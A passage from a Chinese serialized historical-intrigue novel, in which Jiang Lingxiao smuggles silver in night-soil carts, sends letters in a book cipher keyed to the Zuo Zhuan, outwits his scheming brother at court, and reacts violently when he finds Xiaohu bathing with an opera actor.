于太守握住姜凌嚣的手:“重情重义,我于某人交定了你这个好兄弟。来,我亲自敬你一杯!”
新炼丹房直接勾结在于太守名下,任谁也不敢查,玄虎丹可放肆炼制。倒卖兵器,填补了小虎送钱给杨柳红的亏空。
一箭四雕,完美收官。
宴席散罢,已至深夜,姜凌嚣与沈丘染回宅,各自归屋安歇。
一天之内杀死了张大嘴,又眼睁睁看着几十名士兵被炸成飞灰,沈丘染辗转反侧,不得安眠。
楼下“砰”的一声爆炸,八哥满走廊乱飞:“杀人了!杀人了!”
沈丘染惊醒,提灯拔剑下楼,恐惧让他战栗不止。
循声至后院假山,一堆火光烧亮黑夜。
小虎蹲在地上,往火堆里扔纸钱,纸钱随着热浪翻滚,仿佛无根的灵魂飘摇。
沈丘染举剑四顾,警惕异常:“爆炸声哪来的?”
姜家下人常在这烧纸放鞭炮,偶有遗落的哑炮。一烧纸,又点燃了。
小虎起身:“你害怕放炮?”
“怎么会!真是笑话。”沈丘染听不了任何有损英雄气概的懦弱词汇,慌忙收起剑,“好好的,你烧什么纸?”
“我唯一的好朋友杨柳红被炸死了,我来超度她的亡魂。”火光照亮小虎脸上的伤痕,她看起来孤单悲伤。
“杨柳红?”沈丘染摇摇醉酒脑袋,努力回想。
今晚宴席上,于太守喝醉了念叨,张大嘴的老婆就叫杨柳红,曾是个名妓,风骚万种,迷的女人都爱跟她打麻将;
张大嘴死后,于太守有意纳她为妾,可谁也没料到杨柳红刚烈,宁可同归于尽,施计炸了碉堡。
“杨柳红教我认麻将牌上的字。”小虎泪盈于睫,“她要是早点离开张大嘴,就不会死!”
被炸死的士兵尸骨未寒,沈丘染刚正不阿:“杨柳红乃张大嘴的妻子,是从犯!就算不炸死,也会被株连九族。张大嘴可是里通藩国,倒卖兵器,盗窃朝廷命官,罪不容诛!”
张大嘴干的都是不要命的买卖,至于小偷小摸?小虎听得糊涂:“盗窃命官?他偷谁了?”
“我的玉佩和包袱是皇家赏赐,被张大嘴偷了。他藐视皇权,挑衅朝廷!”
那天给杨柳红偷金偷银偷炸药,东西太多不知道怎么装,小虎四处寻摸,来到沈丘染的客房。顺走包袱时,她觉得玉佩也能卖钱,通通送给了杨柳红。
反正死无对证,小虎反泼脏水:“敢偷你,张大嘴死得好!最好是你一刀捅死他!扎他大嘴里!”
连杀死张大嘴的手法都说对了。
沈丘染打个深深的激灵,赶紧转移话锋:“张大嘴和手下都粗枝大叶,不像是会制造精细炸药的人,杨柳红跟你提过有谁供给张大嘴炸药吗?”
除了那个能吃能拉的“小炸药”,还能有谁造出连官府都震惊的炸药来?还不顺藤摸瓜,连累到姜凌嚣!
小虎大眼珠一转,张嘴就来:“张大嘴丧心病狂!嫌卖兵器不过瘾,砰砰砰乱炸,有什么稀奇!”
“倒也是。”
所有证据都指向张大嘴,并无破绽,可沈丘染总感觉哪里说不出的不对劲,兵器房······
小虎认准了张大嘴连累杨柳红,啐了一口:“我们都是被同一个凶手害到夜不能寐!”
“凶手来了!凶手来了!”黑暗中,八哥猛拍翅膀,从沈丘染背后掠起一阵风,他后背发凉。
沈丘染提起灯笼去照八哥。
谁知,半空里,本应有月亮的位置,猛地闪现姜凌嚣一动不动的脸,不见身子,仿佛是个面具,窥视着活人的一举一动,令人毛骨悚然。
15. 认贼作父
烧烬的纸钱在空中随风飘飘,像鬼火。冷脸面具动了,一点点靠近,现出真身。
晚风吹拂,沈丘染打个哆嗦抱怨:“三哥你来也没个动静,还披个黑披风,看不见身子,要吓死谁!”
姜凌嚣看出沈丘染的恐惧,鸦睫扑簌几下:“你本不胜酒力,这样晚了还不睡?”
沈丘染生怕露怯,故作嬉笑:“哑炮炸了,紫玉害怕,我出来看看。”
“你要是害怕睡不着,我陪你下棋。”
“笑话!我是可先斩后奏的钦差,我怕谁?!懒得理你!”沈丘染转身回屋。
姜凌嚣解下披风,裹紧小虎,携回卧房同歇。
小虎一向沾枕即睡,能一觉到天亮。但今晚,辗转多次,好不容易入睡,睡容哀伤,不似之前无情无义的没心没肺。
是自己复仇的过程中,牵连了她在乎的杨柳红。姜凌嚣下巴轻贴在小虎额头,内心的复仇火种,头一次出现动摇。
——
紫玉的屋子亮着灯,穿针引线的影子灵动秀气。沈丘染路过,停住脚步。
搁以往,他绝不会半夜找丫鬟,就算渴醒,也是自己倒茶。
因他最恨少爷丫鬟通房的恶习,最后少爷娶了门当户对的小姐,却将丫鬟随便配给下人,不顾恩情,薄情寡义。
但今天,连遭数次惊吓,过得属实不安宁。
“吱呀”一声推开门,脂粉香扑面而来,沈丘染惊羞自己的失态,双手悄悄勾住门框,准备撤退。
门快关紧时,被“哗”一下拽开。
一身紫衣裳映入眼帘,紫玉轻声:“进来吧。”
沈丘染不惯猥琐,索性大大方方进门,没话找话:“虽隔壁住着,我还没来过你屋子,过来看看,住得习惯吗?”
紫玉径自走回桌前,倒杯茶推到对面桌沿,坐下继续纳鞋垫,“都快走了,倒又关心起这个。”
沈丘染臊眉耷眼放下灯笼和剑,讪笑着坐到紫玉对面喝茶,看她做女红。
孤男寡女,大半夜共处一室,沈丘染不自在,清清嗓子,没话找话:“绣得真好,赶明儿也给我绣一副。”
紫玉举起硕大的鞋垫,斜了他一眼:“我有这么大脚吗?还不是给你的。”
沈丘染噗嗤一笑:“我现在走南闯北,练糙了,不知道怎么逗女孩说话。”
紫玉低下头:“你在家是少爷,出门是顶天立地的钦差,不需要逗一个丫鬟。”
欢快氤氲的气氛,被尊卑骤然冷却,许久寂静无声。
沈丘染忽然脸色收紧:“紫玉,我今天过得很糟,没人可以说说心里话。”
他一刀杀了张大嘴,又差点一脚踏进爆炸的碉堡,九死一生,早已传得沸沸扬扬。紫玉早有耳闻,放下手中活计,绕到沈丘染背后,替他揉太阳穴。
沈丘染从没被女人碰过,下意识要握紫玉的手,但抬起的手拐了弯,他抹了下鼻尖,耳朵红了,乖乖趴到桌上,渐渐放松,闭眼入梦。
床就横在眼前,紫玉熬红了眼,也未宽衣入眠。
灯油添了许多次,灯芯也剪过多回,豆大的火焰在纳鞋底的紫玉和趴桌沉睡的沈丘染之间摇摆跳跃,直把黑天烧亮。
屋外,响起忙碌的声音,下人们在各楼层穿梭、打扫。
紫玉蹑手蹑脚出门,亲自下厨做了碗安神汤,绕过堂屋廊下,准备端给沈丘染。
忽然,院中炸响密密麻麻的鞭炮声,管家领着一帮抬着礼盒的官兵到堂屋。
带头的官兵大喊:“于太守作保,于克新的孤女认了姜少东家做干爹,自此姜家和于家结了干亲了!”
昨夜大宴,姜凌嚣要把炼丹房安在于克新家,于太守生怕有变,借由侄女认干爹,绑紧姜家,好为自己暗中牟利。
蝇头小利就已让官员折腰,金山银山足以打入朝廷,揪出暗杀姜家的凶手,姜凌嚣先是蔑笑,后转为狞笑。
堂屋门开着,廊柱后的紫玉看得清清楚楚,甚觉恐怖。
姜凌嚣暗中做的事,她虽未亲眼见证,但肯定一桩桩、一件件的诡异死亡,都与他脱不了干系。
这个幕后黑手,害小虎痛失好友,害五爷夜不能寐,还在得寸进尺,堂而皇之做起手下死者女儿的干爹,无法想象今后,作为奸细的自己又是如何下场······
紫玉踏进门槛,一番恭喜后,向姜凌嚣请辞:“爷,我一个姑娘家,跟着五爷走南闯北,舍家撇业,我娘就我一个女儿,身体又不好,我得床前尽孝。”
姜凌嚣充耳不闻,单手拆礼盒,拆出一只金如意:“你在丘染身边做得不错,赏你的。”
紫玉索性把话挑明:“爷,恳请您允我卸职。”
“你家门前的两畦菜地,家中的十来只鸡鸭,都是你母亲天天料理,她身体健朗,你既然孝顺,怎可咒她多病?”姜凌嚣终于正视她。
家中底细早被摸清,紫玉一脸惊悚。
姜凌嚣咄咄逼人:“于家认贼作父,我明目张胆受之,你怕了,欲与我割席?”
“背着我说什么呢?”沈丘染打着哈欠,懒洋洋进门。
紫玉惊慌,脸色煞白。
姜凌嚣杀了个紫玉措手不及:“当初我不过是个举荐人,五爷才是你主子,你得问他。”
沈丘染瞬间精神抖擞,看向紫玉:“出了什么事?”
“你的人要请辞还乡。哪能想留就留,想走就走。”姜凌嚣丢下警告,拂袖而去。
沈丘染赶紧上前道歉,生怕是昨晚留置紫玉房内,她嫌毁了清誉,所以才要卸职。
“我不走了。”紫玉把安神汤塞给沈丘染,认命了。
曾为她打抱不平的三爷,是沈凌嚣,早死了。叫姜凌嚣的这个,是看不清面目的半人半魔。
他亲自选拔的密探,只有他弃用,没有密探的自行退出。
于德雅堂丹房,炉膛里雄火烈烈,小炸药光背围着皮裙,身上和口罩湿透,他举着木棒不停搅拌大桶里的丹料。
蒸晾架上已摞着一层又一层炼好的丹,颗颗莹润饱满。“死鱼眼”带着几个人在熟练打包,准备连夜上市。
所有即将变质报废的地藏蕨,在最后一天的期限内,全部炼制完成。
丹房外,烟囱浓烟滚滚,冲向瑰丽晚霞
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,像去够漫天的金子。
姜凌嚣挑眉一笑,完全忘记了昨夜因为小虎的心软动摇。
——
炼丹房乔迁宴,干爹认亲宴,一场接一场。沈丘染作为姜凌嚣至亲,不能不去捧场。
公事都忙完了,估计喝完这几场就打道回京。一别又不知何时才能相见,紫玉绣了荷包、手帕拿给小虎,留作纪念。
刚推开小虎房门,她就光背趴在浴桶边缘:“来得正好,给我搓澡。”
紫玉手上缠块毛巾,轻搓小虎后背,小虎又豪迈地岔开双腿,“这里也搓搓。”
每次姜凌嚣杀过人,就感觉人性沦丧进无穷的黑暗,他都要找小虎求欢,从欢愉里索取温暖。杀的人越多,索取越狠烈,导致她大腿内侧布满或深或浅的红色痕迹。
紫玉并不知道男人还可以亲女人这些地方,误以为是小虎受了姜凌嚣的虐待,不由悲从中来,泪盈于睫。
小虎愣住:“好好的哭什么?”
“当初我不该······”紫玉哽咽。
不该骗你在不知情下吃下那丸药,我借此上位,你我命运都被姜凌嚣捏住。
旁边桌上堆着首饰盒,小虎掏出条紫玉项链,挂到紫玉脖子上:“紫玉戴紫玉,送你了,不哭了。”
紫玉忙推脱:“丫鬟可不配戴!”
“只有东西配不上人,哪有人配不上东西的?我还嫌给你的不够好呢,等我有了更好的,再送你。”
比起价值连城的物件,小虎竟然更在乎她,紫玉哭出声来。
“怎么越哄越哭啦?”小虎着急地捞过一把笛子,放在紫玉嘴边,吹出走调的声音,小虎笑出猪叫,紫玉也被逗笑。
紫玉拿过笛子,甩甩水,吹出幽幽曲调。
小虎跃跃欲试,抢了笛子,越吹越像杀猪,最后钻进水里,咕噜咕噜吹泡玩。
紫玉看着小虎,喃喃:“我要待你比待我自己还要好。”
男人们散席回家,紫玉又忙着去伺候醉酒的沈丘染,缴了热毛巾给他擦脸。
沈丘染低头见到紫玉眼皮红肿,大手一挥,让收拾行装,明日就启程,连沿途各路官员都不拜访了,只求尽早回京。
紫玉边收拾行装边疑惑:“出了什么急事?”
沈丘染降低大嗓门,有点类似温柔:“是因为照顾我,害你出来这么久,你想家了。”
紫玉眼皮又开始不争气的泛红,忙转身,狠狠扎紧行囊。
自己仰慕追随的,让人伤心欲绝。曾背叛过的两个人,却是对自己最好的。
——
天光微亮,雾气潮浓,乾坤混沌,趁沈丘染未醒,姜家马帮已驮上倒卖兵器换来的银子,准备押往票号,汇给可提供暗杀线索的金铺伙计。
姜凌嚣亲自坐镇,赶至八卦河边,沈丘染带兵马追来,惊了马帮的马,一箱银子掉摔在地,锁头崩开。
这么多银子一旦暴露,来路不明,即使联想不到张大嘴清空的兵器库,也得治罪下狱。
姜凌嚣脸色一紧,欲下马拾箱。
沈丘染却已翻身下马,手先碰在了箱盖上。
16. 找个活人不去的地方
眼见箱盖就要被沈丘染掀起,“啪”的一声,姜凌嚣抢先合紧箱盖。
沈丘染眼疾手快地抢走箱子,露出当差人才有的狡猾笑容:“里面装的什么?”
姜凌嚣凝视着沈丘染,黑瞳随着恶胆一起扩张,答:“银子。”
沈丘染带来的两个兵警惕地握住刀柄,三个马帮壮汉偷偷抽刀,随时准备恶战。
沈丘染哈哈大笑,扛起箱子放到马车上,一手摁紧箱盖,一手招呼对他心怀不轨的壮汉:“正好你拿着刀,割截绳子捆住。帮人运货就挣点运费,撒了还得赔钱,三哥操持上百口人吃喝,不容易。”
壮汉举着要杀沈丘染的刀,割了截绳子,捆牢箱子。
全程暗涌只有紫玉看得清清楚楚,吓得从马背上摔下来,“噗通”一声,带下几个行囊。
沈丘染跑过来,扶起紫玉,捡起行囊,发现多了个包裹,打开一看,是副紫金盘蟒盔甲,姜家祖传护身甲,刀枪不入,仅此一件,只传当家人。
沈丘染动容,摘下自己的皇赐玉佩,拍到姜凌嚣手里:“我南下之初皇上亲赐的。三哥拿着,跟官府沾上关系,今后做买卖方便些。”
这块玉佩激励着沈丘染立志成雄,犹如丰碑,他珍爱无比,却对姜凌嚣轻易慷慨解囊。
姜凌嚣恳切之至:“五弟,成英雄需踩血河爬骨山,出生入死,命悬一线,要上进但别太要强。”
沈丘染自然听不进去,指着马帮驮着的一个又一个箱子:“里面的货真要能变成银子就好了,到时你和小虎姑娘云游山水,做神仙眷侣去。我辞了卖命侍卫,替你看生意。”
说罢,他将于太守派来护送的两个兵转给了姜凌嚣,叮嘱:“好好保护那些箱子。”
姜凌嚣却转头喊了紫玉一声:“你女红出色,给我绣双鞋垫,花样就要‘错到底’。”
明晃晃的暗语,警告她靠错山就要错到底,不得弃暗投明。紫玉抖着嗓子:“是。”
八卦河边就此别过,此河发源于同一源头,遇山分流,一条载了山上冲刷下来的矿物质,浓稠显黑;一条干干净净顺流而下,对比为白,直至下游,终成一黑一白两条河。
晨光乍泄,沈丘染换上紫金盔甲,曦芒耀眼,骑马踏进白河,像个镀金的凯旋英雄。
姜凌嚣撩起黑袍上马,踏入黑河,黑马黑衣,犹如摆尾恶龙。
手足一别两宽,自此南辕北辙,黑白分明。
沈丘染派来的两个官兵,紧跟马帮队伍。
耿正和姜凌嚣并驾齐驱,低声:“这俩货形影不离,银子怎么运到票号?”
姜凌嚣微笑露黠:“调虎离山。”
耿正叼起柳哨,看似随意吹了两下。
官兵环视四周:“嘿,有鸟叫。”
两个马帮壮汉对视一眼,逐渐掉队。
队伍绕进密密麻麻的树林,官兵皱眉:“好好官道不走,走这儿干嘛?”
耿正翻着三角眼回头:“马帮运输有时得绕远走小路,因为经常遇到歹徒截货······”
话音未落,“嗖”,一只冷箭擦着耿正耳朵插进树干,他咬牙:“说曹操,曹操到。”
两个黑衣人举弓,在树林中流窜射箭。
官兵拔刀劈断射箭,大喝:“混账歹徒,我们是官兵!束手就死!”
“嗖、嗖”,黑衣人又放几箭。
官兵策马去追,越追越远。
马帮立刻调转方向,马不停蹄奔向票号。
等官兵赶回原地,马帮早已不见踪影。
银子成功汇到京城转给金铺线人,最快十天,等线索送到康凌郡,又是十天。
一来一去,是二十天的煎熬。
才第三天午时,京城就来了加急信。
银子还没到账线人那里,不可能现在就出了线索,姜凌嚣疑惑地拆开。
玄虎堂掌柜吕富全寄来的。
玄虎丹自问世京城,即受追捧。树大招风,二爷沈戚风正逢升官之际,需四处打点,手头不够滋润,已到玄虎堂寻摸了好几次,蠢蠢欲动,恐生节枝。
玄虎堂的收银一直囤在细料库房,防守薄弱,须火速转移。
如今乱世,银票随时变废纸,手里必须握有真金白银保命,所以不能转到票号。
可京城除了玄虎堂,再也没有一寸土地可由姜凌嚣支配,银子无地藏匿。
就算现买地,一是交割时间不确定,二是僻静地方必须重兵把手,否则沈戚风带几个家兵就能抢光。
姜凌嚣和耿正商议半天,毫无头绪,一时不能给吕富全答复。直到晚饭时,他还是眉头紧锁,一副食之无味的样子。
小虎抱着只熏鸡,大嚼猛啖:“你们在书房聊天我都听见了,不就是找个活人不去的地方,至于发愁?”
“吃你的。”姜凌嚣不爱跟她聊烦心事。
“藏坠龙崖,我以前修炼的潭洞,鬼都找不到!你二哥要到那个地方,得先跳崖,下场就跟这鸡似的,四分五裂。”小虎吐了一桌子鸡骨头。
姜凌嚣:“兵荒马乱,饿殍遍地,刁民、毛贼、土匪、官兵全都虎视眈眈,运那么多银子,你觉得能走几里地?”
“有了!”小虎扔了鸡架,趴到姜凌嚣耳边,叽里咕噜,一小块鸡皮粘在她嘴角,随着她说话一抖一抖,他替她抹净,眉目也渐渐舒展,最终却嫌弃:“胡扯。”
“那里就是最符合你说的活人不去的地方。不听拉倒!”小虎负气跑出去招猫逗狗。
姜凌嚣望着她的背影,露出欣赏的微笑,转身去到书房写密函。
信写至一半,楼下传来尖叫声,乱成一团。
厨子偷东西被抓,害怕受罚,吞药自杀了,躺在地上吐白沫,下人们打着灯笼围着骂。
姜凌嚣推窗:“不许再骂他,救人要紧,快去请大夫!”
“来不及了,牙关都闭了。”
小虎提着恭桶飞奔而来,拿烧火铁棍撬开厨子的嘴,舀一勺“酱汤”灌进去。
恶臭四散,厨子还没吐,下人们先吐了。
姜凌嚣呵斥:“别添乱!他不过偷点东西,至于这样羞辱?”
“火烧眉毛,还斯文个屁!能吐出毒药是要紧!”小虎又猛灌几勺“酱汤”。
已闭气的厨子终于翻身,吐了一地,从鬼门关回来。
姜凌嚣看着楼下一幕,嫌恶的眼光忽然转亮,他关紧门窗,将写了一半的信纸烧掉,拽过空白信笺重写。
半夜,楼上楼下都安歇了,书房里的火光还亮。
耿正悄声推门,带进两个妇人。一个粗布荆钗,膀大腰圆,沧桑老练,一个带着满头银饰,精悍短小,满手老茧。
她们都是马帮壮汉的妻子。
一个丈夫死在马帮出行的路上,没了生活来源,姜家接她来给马帮做些粗活,渐渐的她学会了给马帮磨刀,修马鞍子,钉铁蹄,最终练就一副强悍的打铁手艺。
另一个男人健在,但养了几个孩子都夭折了,为解愁闷,也到了姜家做活。她自小跟着长辈给人打银饰,有祖传的看家本领,丫鬟们打首饰就找她,现在口碑传出去,还接外宅的夫人小姐的活。
用人之际,她们敢舍家撇业,无一例外愿去京城,暗作机密之事。
姜凌嚣分发两封密函:“一封给掌柜吕富全的,一封宫内侍卫沈丘染的,务必交给本人。”<
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耿正也掏出一个信封,小三角眼泛出狡猾:“我送给沈老二的开门礼。”
人到函到京城,已是春末夏初傍晚,吕富全招呼伙计给两精悍妇女接风洗尘,自己躲进账房。
信展,无字,只有墨点,或稀或疏,形同天书。
吕富全走到书架前,抽出本《左传》,边翻,边在墨点下面誊字。
当初姜凌嚣离京,秘密交代:日后如有密函,按照函上标注的墨点数,先在书中找到对应的页数,再找对应字。哪怕有朝一日信被截了,也无法译出里中乾坤。
密函译出,内容有三。
一是安全转移银子的计谋,二是银子藏匿地点,三是两位妇女的隐秘安置。
月上,敲过子时更,周边巷子寂静下来,玄虎堂院子却打起火把。
几辆空的大粪车堵在细料库房,吕富全带着几个伙计忙进忙出。
银子刚装满大粪车,就听见“哐哐”砸门声。
“快开门!不开就放火烧了!”
沈戚风领着全副武装的家兵,准备明抢。
吕富全举着火把,安慰在场伙计:“都别怕,一切都如东家所料,按计划行事。”
门开,沈家兵迅速占领院子,趾高气昂。
粪车敞着盖,恶臭熏天,沈戚风捂紧口鼻,厉声大骂:“大半夜的拉什么粪?!”
吕富全恭敬作揖:“二爷,咱做的是药,入口的买卖,大白天的运粪,客人就不来了,可不就得黑夜忙活。”
孙大可提来一个满满的大恭桶,爬上粪车,“噗通”一倒,臭味更加刺鼻。
熏的沈戚风和家兵直打干呕,乱了阵脚。
孙大可下车时,带翻恭桶,桶咕噜咕噜朝沈戚风滚去,甩出一串淋漓。
沈戚风带头吐了,家兵们也哕个不停,满院子一声接一声的“呕、呕、呕”。
吕富全破口大骂:“二爷金枝玉叶,哪受得了你洒的下流污秽?还不快滚!”
孙大可急忙抽赶毛驴,沈家家兵闪退躲远,几辆粪车匆匆出了院子。
整个院子臭的像大粪坑,沈戚风手插鼻孔:“姓吕的,别以为耍花招我就下不了手!老三不在京城,免得让你个外姓奴才霸了家产,来人呐,接管我们沈家自个儿家产!”
家兵得令,举刀冲进账房。
账房除了散碎银子用来应对次日营业,一分余钱也无。
沈戚风不甘心,又令人搜遍堂厅,依旧无果。
家兵上前支招:“爷,那边还有个上锁的细料库。”
一向沉稳的吕富全跳了脚,横加阻拦:“二爷,那房您真不能进!”
越拦,沈戚风越觉得银子就藏在其中,一把推翻吕富全,自己抢了家兵的刀,哐哐砍锁。
吕富全翻身爬起来:“二爷,耿正大爷临离京特意交代过,这房您不可进。”
“耿正一个看家老狗,也敢管本二爷?反了教了!”
“哗隆”,门锁砍掉在地。
沈戚风哈哈大笑,家兵们集体打上火把冲进去。
细料库亮如白昼,却空空如也,不见银钱分毫。
只见梁上吊下一副三尺长的宣纸,上书斗大几字:【沈老二我X你姥爷个蛋耿正亲书】
沈戚风气疯,浑身发抖。
吕富全火上浇油:“二爷,您鞋上爬了粪蛆,脱下来给您洗洗。”
“滚!”
沈戚风临走放下狠话:“你转告老三,还没分家,他赚的每一厘都是沈家的!看我玩个狠的,保管叫他把银子吐个干干净净!”
粪车已顺利运到无人荒郊,孙大可和两妇女跳下车,卸下银子藏匿。
17. 抢粪车
沈戚风铩羽而归,伺机报复。
但他不过是个殿试监考,清水闲职,好听无用,还是靠“沈凌嚣之死”抚恤家属获封的。
只得借住手中有实权的人,才能整到姜凌嚣。沈戚风上蹿下跳,还真给他巴结到了皇亲国戚,姬有德。
当今太子是姬有德表弟,皇后是他的亲姑姑,爷爷更是坐拥重兵的国师。要论横,沈家在姬家面前直不起腰杆子。
百花楼,沈戚风设花酒,宴请姬有德。
姬有德虽丑但不下流,不喝酒不狎伎,总是笑眯眯的,憨态可掬。
沈戚风俩手各搂一伎,大肆抱怨姜凌嚣以前只是聪明,现在变得阴险!狡猾!刁钻!挣了那么多银子,愣是一两搜不出来。
姬有德静静听完,不疾不徐分析:“一个药房,怎么可能同时需要三四量粪车?银子很可能从你眼皮子底下堂而皇之运走的。”
沈戚风吃惊:“用粪车藏运银子?老三爱干净的不得了,银子他还能要吗?”
姬有德笑的眼睛眯成两道缝:“皇上坐拥天下财富,他亲自碰银子吗?太子享山珍海味,是他亲自买回来的吗?越是有钱的人,越不亲自碰银子。不管银子脏的臭的,反正花出去香。”
玄虎堂门庭若市,几天便能囤不少银子,肯定又要往外运。沈戚风受了点拨,带人夜夜守在后巷,等待劫持。
一连熬了几夜,终于等到玄虎堂再出粪车。
跟到郊外,沈戚风下令抢粪车。
玄虎堂伙计好意阻拦:“二爷着了什么魔抢大粪,府上没粪?”
“去你大爷的!”沈戚风抽了伙计一巴掌:“给我上!”
手下一顿乱砍,粪车裂开,喷射“酱汤”,窜了沈戚风满头满身。
沈戚风不顾恶臭,上前扒拉粪车,一两银子也无。
姜凌嚣密函中预料,沈戚风早晚识破粪车运银的计谋,提前换了运输对策。
次日一早,吕富全代姜凌嚣到府上探望沈老祖母,一字不差的将二爷昨夜威风详述。沈戚风抢大粪的事迹传得沸沸扬扬,沦为笑柄。
沈戚风非要咬下姜凌嚣一块肉才解恨,明白粪车只是声东击西,改监督出入玄虎堂的别的马车。
来往玄虎堂的车辆,不是送货的,就是来买丹的。
吕富全身为掌柜的,从不坐车,因为要日日上街查看行情。伙计们更没资格坐车。
因而,出入其中的自有马车,只蹲到一辆没棚的排子车。
两个粗衣打扮的妇女,每人背着个襁褓,搬一堆脏衣服和洗衣盆、棒槌到排子车上,驶出后巷。
沈戚风在后鬼鬼祟祟,一直跟到河边。
俩妇女蹲在河边吭哧吭哧洗衣裳,从人到盆到衣服,完全没藏银子的余地。
沈戚风再次空手而归。
两妇女立刻卷包,急速驾车,来到藏匿地,卸下襁褓,抖出里面的银子。
沈戚风断定,如果那晚真用粪车运走了一部分银子,那这半个多月的银子压根就没再运出去过,一定就藏在玄虎堂内。
算起来,是一笔极可观的数目。
沈戚风花钱托关系,弄到一张县令手谕,带了几个衙役去搜查玄虎堂。
刚到门口,就被守株待兔的沈丘染拦了。他收到姜凌嚣密函,帮忙镇守店铺。
沈丘染南下凯旋,查抄贪官的银钱无数,及时充了兵饷,朝廷才得以镇压西北战乱,他又剿灭里通外国的卖国贼张大嘴,皇上封了他“忠勇中郎将”,正当红,连沈万湖都让他几分。
无名衙役见了,更是伏低做小。
沈戚风不敢惹,只好暂时撤退,另寻他机。
西北战乱平定,龙颜大悦,休娱许久的后宫也跟着重新热闹起来,皇后宣姬有德进宫听戏。
姬有德带上郁郁不得志的沈戚风,为他引荐太子。
宫中妙音坛,天高云远,宏伟开阔,盛开百花簇拥,丰窈宫女林立,管弦丝竹低奏。
坛中央,奢丽长翎扇前皇后坐镇,竞天公主率诸公主作陪听戏。
一曲终,太子起了雅兴,学着武旦耍花剑。
太子年方十六,正是气盛逞强的年纪,刚学会耍花剑,就急着炫耀,砍完花草砍太监,秀丽的园子顿时鸡飞狗跳。
姬有德和沈戚风热烈喝彩,助长了太子虚荣,太子扔了剑,要拔侍卫的刀耍。
侍卫好言相劝:“殿下,这刀太沉,您拿不动。”
太子逞强拔走大刀,刚舞向空中,就拧了手腕。“咣当”一声,刀摔在地,砍去一角鞋帮子,露出喷血脚指头。
沈戚风没忍住,笑出声来。
太子震怒,拔剑相向:“你敢笑话太子,活够了吗?”
沈戚风吓地跪地,磕头如捣蒜。
皇后解围:“不长眼的太监,还不赶快给太子包扎换鞋。”
太监们手忙脚乱架走太子,沈戚风死里逃生,不停叩头谢恩。
皇后缓缓呷口茶,懒懒抬眼:“听有德讲,你是沈府当家,管得井井有条,是个难得的人才。”
沈戚风诚惶诚恐,细数沈万湖和沈丘染的功绩,为自己抬轿子:“朝廷用人之际,奴才也想随父率弟,为皇后太子效犬马之劳。”
皇后拍案而起:“大胆!皇上当朝,你敢僭越说为本宫和太子效劳?”
沈戚风吓破了胆,拉出姜凌嚣垫背:“回禀皇后,沈凌嚣改头换姓,苟且偷生,犯的可是欺君之罪,那么挣得每笔银子都是不义之财,该查抄!臣愿代劳,以示赔罪。”
皇后听罢,神态缓和:“本宫看你也无意冒犯,就是嘴笨心忠。待在闲职上,把人都待废了。本宫让太子给你批个实差,你有了功,皇上给你加官进爵也有由头。”
不消三日,沈戚风调任,有了十来个兵,他立刻带兵围了玄虎堂,宣太子手谕。
——
离京千里之外,康凌郡,于德雅堂炼丹房的烟囱冒着滚滚浓烟,飘向百米开外的太守府后院,戏台上浓墨重彩,锣鼓喧天。
玄虎丹卖得好,于太守短期内便囤积了大量财富,高兴的在府上搭了个戏台,请了戏班子连唱七天,派人派车接姜凌嚣和小虎到府上听戏。
来时路上,见到街上多了拜基蛮子,姜凌嚣忧心忡忡提醒于太守,要加强边疆戍卫,他个人可以捐钱兵防。
于太守傲慢道,当官就是为了发财,打仗也是为了发财。朝廷拨款,官兵过了油水,仗还可打一打。个人捐钱打仗,钱不到战场就会被官府瓜分,胆敢追问钱财去向,反倒会被定个妄图干政的罪。
“你我知己,我把你当亲兄弟才说这些话。”于太守推心置腹。
姜凌嚣:“是。”
至于藩国蛮子,于太守更是不会放在眼里:“真要打起来,你搬到我府上,蛮子再没人性,也不敢杀到太守府!”
多说无益,姜凌嚣看向戏台。
有个男旦浓妆艳抹,指翘兰花,嗓音
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婉转,引的小厮们目不转睛。
后座,于寡妇讨好地将女儿献给小虎:“干娘疼你,干娘抱。”
不料女婴尿了小虎一身,于寡妇打了女婴一巴掌。
小虎照于寡妇脸就是四巴掌,破口大骂:“她一个婴儿懂个屁,就算尿到皇上头上,尿也就尿了!”
如此出口无忌,传出去是要满门抄斩的,姜凌嚣厉声呵斥:“再胡说,关你禁闭。”
于太守和夫人忙打哈哈,小虎趁机溜走,拐进后台,恰好撞见男旦下台卸妆,俩人叽叽咕咕越聊越热。
接连几天,小虎一到太守府就扎进后台。
天黑,晚饭都快凉透了,小虎才高喊着“锵锵锵”进门,戴着老生的髯口,脸上画的乱七八糟。
姜凌嚣:“戏早唱完了,你野去了哪里?”
小虎兴高采烈坐下,揪起两缕髯口须须,挠挠姜凌嚣下巴:“小戏子给我偷了个假胡子。”
外人戴过的,姜凌嚣嫌脏躲开:“哪个戏子?”
“台上唱男旦的那个。”
当红男旦厮混丑闻颇多,姜凌嚣没好气训斥小虎:“明日再不早点回家,今后不许出门。”
小虎答应的虽痛快,可接连两天,回家越来越晚。
这日,姜凌嚣脸色铁青等到近巳时,小虎才牵着马笑嘻嘻回家:“我陪我的马会它朋友去了。”
小虎替她的马,找了个新朋友,就是小戏子的马。两只马牵到水草丰茂的溪边,一起吃草,踏水,嬉闹,等马玩累了才回家。
听见这小孩子似的作为,本一肚子火的姜凌嚣,轻轻拨了下小虎的耳垂,话到嘴边成了幽怨:“连马你都知道帮它找朋友,我凭什么就被晾着?”
小虎吃准了姜凌嚣对她下不了狠心发火,又是亲摸,又是骚话连篇,把他哄得晕头转向,晚归责罚不了了之。
七天大戏唱完这天半夜,小虎还未归家。
姜凌嚣找到深林溪边。
岸上,堆着凌乱的男女衣衫。
月光洒在姜凌嚣的脸上,冷白加重了棱角分明下的阴狠,两道眸光如箭射向溪中。
银光粼粼水中,小虎在和一个男人嘻嘻哈哈打水仗,两人都赤身果体,忘乎所以。
姜凌嚣眼神刺向撩水的男人,正是那个头牌男旦。
“咚!”一块石子擦破小戏子鼻尖落入水中,砸起几尺水花。
小戏子惊叫:“谁?”
小虎趁机泼了小戏子一脸水,嬉皮笑脸游向岸边:“是我男人。”
小戏子捂着鼻子,不识趣追问:“明天我们还继续······”话戛然而止,他舌头被蛇信针扎透。
小虎衣服都没穿好,就被姜凌嚣单手甩到马背上。
她反坐马背,无法牵住缰绳,他似是不顾她的安危,只顾奋力策马颠簸,她只好抱紧他的脖子。
他很少如此冷若冰霜,她自知惹怒了他,讨好地去摸他的脸,被他“啪”的一巴掌扇麻手背。
路过姜家西苑马棚,姜凌嚣冷不丁抓起小虎丢进马棚,喝令家丁:“给我把门封死!”
叮叮当当,不消片刻,马棚被木板封死,连条缝都没留。
